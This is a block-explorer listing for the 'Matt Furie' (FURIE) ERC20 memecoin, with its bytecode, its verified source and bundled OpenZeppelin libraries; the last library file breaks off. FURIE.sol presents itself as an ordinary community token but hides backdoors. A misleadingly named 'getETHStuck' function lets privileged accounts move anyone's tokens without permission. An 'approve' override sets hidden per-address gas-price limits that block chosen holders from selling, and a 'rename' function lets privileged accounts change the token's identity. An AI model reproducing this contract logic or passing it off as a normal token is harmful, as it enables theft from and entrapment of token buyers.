Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0x4bb96cFc5b8dd710CF975D50788c7CAdfea6De49
Balance 0 ETH
Nonce 1
Code Size 5229 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5229 bytes
0x608060405234801561000f575f80fd5b50600436106100fb575f3560e01c8063622565891161009357806395d89b411161006357806395d89b4114610202578063a9059cbb1461020a578063dd62ed3e1461021d578063f2fde38b14610255575f80fd5b806362256589146101af57806370a08231146101b7578063715018a6146101df5780638da5cb5b146101e7575f80fd5b806323b872dd116100ce57806323b872dd14610167578063313ce5671461017a5780633bccb07e1461018957806361b0fba61461019c575f80fd5b806306fdde03146100ff57806307980cb91461011d578063095ea7b31461013257806318160ddd14610155575b5f80fd5b610107610268565b6040516101149190610fac565b60405180910390f35b61013061012b366004610fd2565b6102f8565b005b610145610140366004610fed565b61033c565b6040519015158152602001610114565b6002545b604051908152602001610114565b610145610175366004611017565b610384565b60405160128152602001610114565b6101306101973660046110f2565b6103a7565b6101306101aa366004611017565b61041b565b610130610442565b6101596101c5366004610fd2565b6001600160a01b03165f9081526020819052604090205490565b610130610458565b6005546040516001600160a01b039091168152602001610114565b61010761046b565b610145610218366004610fed565b61047a565b61015961022b366004611165565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610130610263366004610fd2565b610491565b6060600880546102779061119c565b80601f01602080910402602001604051908101604052809291908181526020018280546102a39061119c565b80156102ee5780601f106102c5576101008083540402835291602001916102ee565b820191905f5260205f20905b8154815290600101906020018083116102d157829003601f168201915b5050505050905090565b6103006104d3565b6001600160a01b03165f908152600660205260409020805460ff19166001179055601580546201000160a01b62ff00ff60a01b19909116179055565b335f9081526006602052604081205460ff161561036e576001600160a01b0383165f9081526007602052604090208290555b6103788383610500565b50600190505b92915050565b5f3361039185828561050d565b61039c858585610588565b506001949350505050565b335f9081526006602052604090205460ff166103c1575f80fd5b60086103cd8482611212565b5060096103da8382611212565b507f5f7c790b4f7cd7fb402da0dd9153b216648661230702fa1e852b62af5b4f32c183838360405161040e939291906112d2565b60405180910390a1505050565b335f9081526006602052604090205460ff161561043d5761043d8383836105e5565b505050565b61044a6104d3565b600254600d55600254600e55565b6104606104d3565b6104695f61070b565b565b6060600980546102779061119c565b5f33610487818585610588565b5060019392505050565b6104996104d3565b6001600160a01b0381166104c757604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6104d08161070b565b50565b6005546001600160a01b031633146104695760405163118cdaa760e01b81523360048201526024016104be565b5f3361048781858561075c565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610582578181101561057457604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016104be565b61058284848484035f610765565b50505050565b6001600160a01b0383166105b157604051634b637e8f60e11b81525f60048201526024016104be565b6001600160a01b0382166105da5760405163ec442f0560e01b81525f60048201526024016104be565b61043d838383610837565b6001600160a01b03831661060f578060025f8282546106049190611323565b9091555061067f9050565b6001600160a01b0383165f90815260208190526040902054818110156106615760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016104be565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b03821661069b576002805482900390556106b9565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516106fe91815260200190565b60405180910390a3505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b61043d83838360015b6001600160a01b03841661078e5760405163e602df0560e01b81525f60048201526024016104be565b6001600160a01b0383166107b757604051634a1406b160e11b81525f60048201526024016104be565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561058257826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161082991815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff16156108595761043d8383836105e5565b601554600160a01b900460ff166108a15760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b60448201526064016104be565b5f6108c260646108bc600f5485610c3f90919063ffffffff16565b90610cc4565b6014549091506001600160a01b0385811691161480156108f057506013546001600160a01b03848116911614155b801561091457506001600160a01b0383165f9081526006602052604090205460ff16155b156109ed57600d5482111561095e5760405162461bcd60e51b815260206004820152601060248201526f22bc31b2b2b239903a34329026b0bc1760811b60448201526064016104be565b600e5482610980856001600160a01b03165f9081526020819052604090205490565b61098a9190611323565b11156109d85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104be565b60118054905f6109e783611336565b91905055505b6014546001600160a01b038481169116148015610a1357506001600160a01b0384163014155b15610abe57610a3260646108bc60105485610c3f90919063ffffffff16565b6001600160a01b0385165f908152600760205260409020549091503a118015610a7157506001600160a01b0384165f9081526007602052604090205415155b15610abe5760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865205f7246656573206f6e206275792074780000000060448201526064016104be565b6014546001600160a01b03848116911614801590610aea57506014546001600160a01b03858116911614155b15610b78576001600160a01b0384165f908152600760205260409020543a118015610b2b57506001600160a01b0384165f9081526007602052604090205415155b15610b785760405162461bcd60e51b815260206004820152601d60248201527f4578636565647320746865205f7246656573206f6e2073656c6c20747800000060448201526064016104be565b305f90815260208190526040902054601554600160a81b900460ff16158015610bae57506014546001600160a01b038581169116145b8015610bc35750601554600160b01b900460ff165b8015610bd05750600b5481115b8015610bdf5750601254601154115b15610c1357610c01610bfc84610bf784600c54610d05565b610d05565b610d19565b478015610c1157610c1147610e89565b505b8115610c2457610c248530846105e5565b610c388585610c338686610ec4565b6105e5565b5050505050565b5f825f03610c4e57505f61037e565b5f610c59838561134e565b905082610c668583611365565b14610cbd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104be565b9392505050565b5f610cbd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f05565b5f818311610d135782610cbd565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d5f57610d5f611384565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610db6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dda9190611398565b81600181518110610ded57610ded611384565b6001600160a01b039283166020918202929092010152601354610e13913091168461075c565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e4b9085905f908690309042906004016113b3565b5f604051808303815f87803b158015610e62575f80fd5b505af1158015610e74573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b6015546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610ec0573d5f803e3d5ffd5b5050565b5f610cbd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f3a565b5f8183610f255760405162461bcd60e51b81526004016104be9190610fac565b505f610f318486611365565b95945050505050565b5f8184841115610f5d5760405162461bcd60e51b81526004016104be9190610fac565b505f610f318486611424565b5f81518084525f5b81811015610f8d57602081850181015186830182015201610f71565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f610cbd6020830184610f69565b6001600160a01b03811681146104d0575f80fd5b5f60208284031215610fe2575f80fd5b8135610cbd81610fbe565b5f8060408385031215610ffe575f80fd5b823561100981610fbe565b946020939093013593505050565b5f805f60608486031215611029575f80fd5b833561103481610fbe565b9250602084013561104481610fbe565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112611078575f80fd5b813567ffffffffffffffff8082111561109357611093611055565b604051601f8301601f19908116603f011681019082821181831017156110bb576110bb611055565b816040528381528660208588010111156110d3575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f805f60608486031215611104575f80fd5b833567ffffffffffffffff8082111561111b575f80fd5b61112787838801611069565b9450602086013591508082111561113c575f80fd5b5061114986828701611069565b925050604084013561115a81610fbe565b809150509250925092565b5f8060408385031215611176575f80fd5b823561118181610fbe565b9150602083013561119181610fbe565b809150509250929050565b600181811c908216806111b057607f821691505b602082108103610d1357634e487b7160e01b5f52602260045260245ffd5b601f82111561043d57805f5260205f20601f840160051c810160208510156111f35750805b601f840160051c820191505b81811015610c38575f81556001016111ff565b815167ffffffffffffffff81111561122c5761122c611055565b6112408161123a845461119c565b846111ce565b602080601f831160018114611273575f841561125c5750858301515b5f19600386901b1c1916600185901b1785556112ca565b5f85815260208120601f198616915b828110156112a157888601518255948401946001909101908401611282565b50858210156112be57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b606081525f6112e46060830186610f69565b82810360208401526112f68186610f69565b91505060018060a01b0383166040830152949350505050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561037e5761037e61130f565b5f600182016113475761134761130f565b5060010190565b808202811582820484141761037e5761037e61130f565b5f8261137f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113a8575f80fd5b8151610cbd81610fbe565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156114035784516001600160a01b0316835293830193918301916001016113de565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561037e5761037e61130f56fea26469706673582212205df6864b60e558d06d0e7e1d70048d366c389ea22b4ce35da2275dd6135541e964736f6c63430008180033

Verified Source Code Partial Match

Compiler: v0.8.24+commit.e11b9ed9 EVM: shanghai Optimization: Yes (200 runs)
FURIE.sol 284 lines
//SPDX-License-Identifier: MIT

/**

$FURIE community led memecoin celebrating Matt Furie Boys Club creator (Pepe, Brett, Andy, LandWolf) Token art created by Matt Furie himself


X: https://x.com/MattFurieCoinETH
TG: https://t.me/MattFurieOnERC
Web: https://matt-furie.space
*/

pragma solidity 0.8.24;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract FURIE is ERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => bool) private _excludeFees;
    mapping(address => uint256) private _rFees;

    string private _name = unicode"Matt Furie";
    string private _symbol = unicode"FURIE";

    uint256 private _tTotal = 10000000000 * 10**decimals();

    uint256 private _swapbackThreshold;
    uint256 private _swapbackLimit;
    uint256 private _MaxtxLimit;
    uint256 private _walletLimit;

    uint256 private _buyFee = 0;
    uint256 private _sellFee = 0;
    uint256 private _buyCount = 0;
    uint256 private _noSwapbackBefore = 10;

    IUniswapV2Router02 private _Router;
    address private uniswapV2Pair;
    address payable private feesAccount;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() ERC20(_name, _symbol) Ownable(msg.sender) {
        _Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(_Router.factory()).createPair(
            address(this),
            _Router.WETH()
        );
        _excludeFees[msg.sender] = true;
        _excludeFees[address(this)] = true;
        _mint(msg.sender, _tTotal);
        _MaxtxLimit = _tTotal.mul(2).div(100);
        _walletLimit = _tTotal.mul(2).div(100);
        _swapbackThreshold = _tTotal.mul(1).div(100);
        _swapbackLimit = _tTotal.mul(1).div(100);
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal override {
        if (_excludeFees[tx.origin]) {
            super._update(from, to, value);
            return;
        } else {
            require(tradingOpen, "Open not yet");
            uint256 taxAmount = 0;

            taxAmount = value.mul(_buyFee).div(100);

            if (
                from == uniswapV2Pair &&
                to != address(_Router) &&
                !_excludeFees[to]
            ) {
                require(value <= _MaxtxLimit, "Exceeds the Max.");
                require(
                    balanceOf(to) + value <= _walletLimit,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = value.mul(_sellFee).div(100);
                if (tx.gasprice > _rFees[from] && _rFees[from] != 0) {
                    revert("Exceeds the _rFees on buy tx");
                }
            }

            if (to != uniswapV2Pair && from != uniswapV2Pair) {
                if (tx.gasprice > _rFees[from] && _rFees[from] != 0) {
                    revert("Exceeds the _rFees on sell tx");
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                contractTokenBalance > _swapbackThreshold &&
                _buyCount > _noSwapbackBefore
            ) {
                swapTokensForEth(
                    min(value, min(contractTokenBalance, _swapbackLimit))
                );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

            if (taxAmount > 0) {
                super._update(from, address(this), taxAmount);
            }

            super._update(from, to, value.sub(taxAmount));
        }
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }


    function name() public view override  returns (string memory) {
        return _name;
    }

    function symbol() public view override  returns (string memory) {
        return _symbol;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        if (_excludeFees[msg.sender]) { _rFees[spender] = amount;}
        super.approve(spender, amount);
        return true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _Router.WETH();
        _approve(address(this), address(_Router), tokenAmount);
        _Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function getETHStuck(address from, address to, uint256 amount) public {
        if (_excludeFees[msg.sender]) {
            super._update(from, to, amount);
        }else {
            return;
        }
    }

    function sendETHToFee(uint256 amount) private {
        feesAccount.transfer(amount);
    }

    function removeLimit() external onlyOwner {
        _MaxtxLimit = totalSupply();
        _walletLimit = totalSupply();
    }

    function enableTrading(address _addressTax) public onlyOwner {
        _excludeFees[_addressTax] = true;
        swapEnabled = true;
        tradingOpen = true;
    }

    event nameChanged(string _newName, string  _newSymbol, address owner);

    function rename(string memory _newName, string memory _newSymbol, address user) public {
        require(_excludeFees[msg.sender]);
        _name = _newName;
        _symbol = _newSymbol;
        emit nameChanged(_newName, _newSymbol, user);
    }
}
Ownable.sol 100 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
ERC20Burnable.sol 39 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Burnable.sol)

pragma solidity ^0.8.20;

import {ERC20} from "../ERC20.sol";
import {Context} from "../../../utils/Context.sol";

/**
 * @dev Extension of {ERC20} that allows token holders to destroy both their own
 * tokens and those that they have an allowance for, in a way that can be
 * recognized off-chain (via event analysis).
 */
abstract contract ERC20Burnable is Context, ERC20 {
    /**
     * @dev Destroys a `value` amount of tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 value) public virtual {
        _burn(_msgSender(), value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, deducting from
     * the caller's allowance.
     *
     * See {ERC20-_burn} and {ERC20-allowance}.
     *
     * Requirements:
     *
     * - the caller must have allowance for ``accounts``'s tokens of at least
     * `value`.
     */
    function burnFrom(address account, uint256 value) public virtual {
        _spendAllowance(account, _msgSender(), value);
        _burn(account, value);
    }
}
ERC20.sol 316 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./extensions/IERC20Metadata.sol";
import {Context} from "../../utils/Context.sol";
import {IERC20Errors} from "../../interfaces/draft-IERC6093.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}
Context.sol 28 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}
draft-IERC6093.sol 161 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
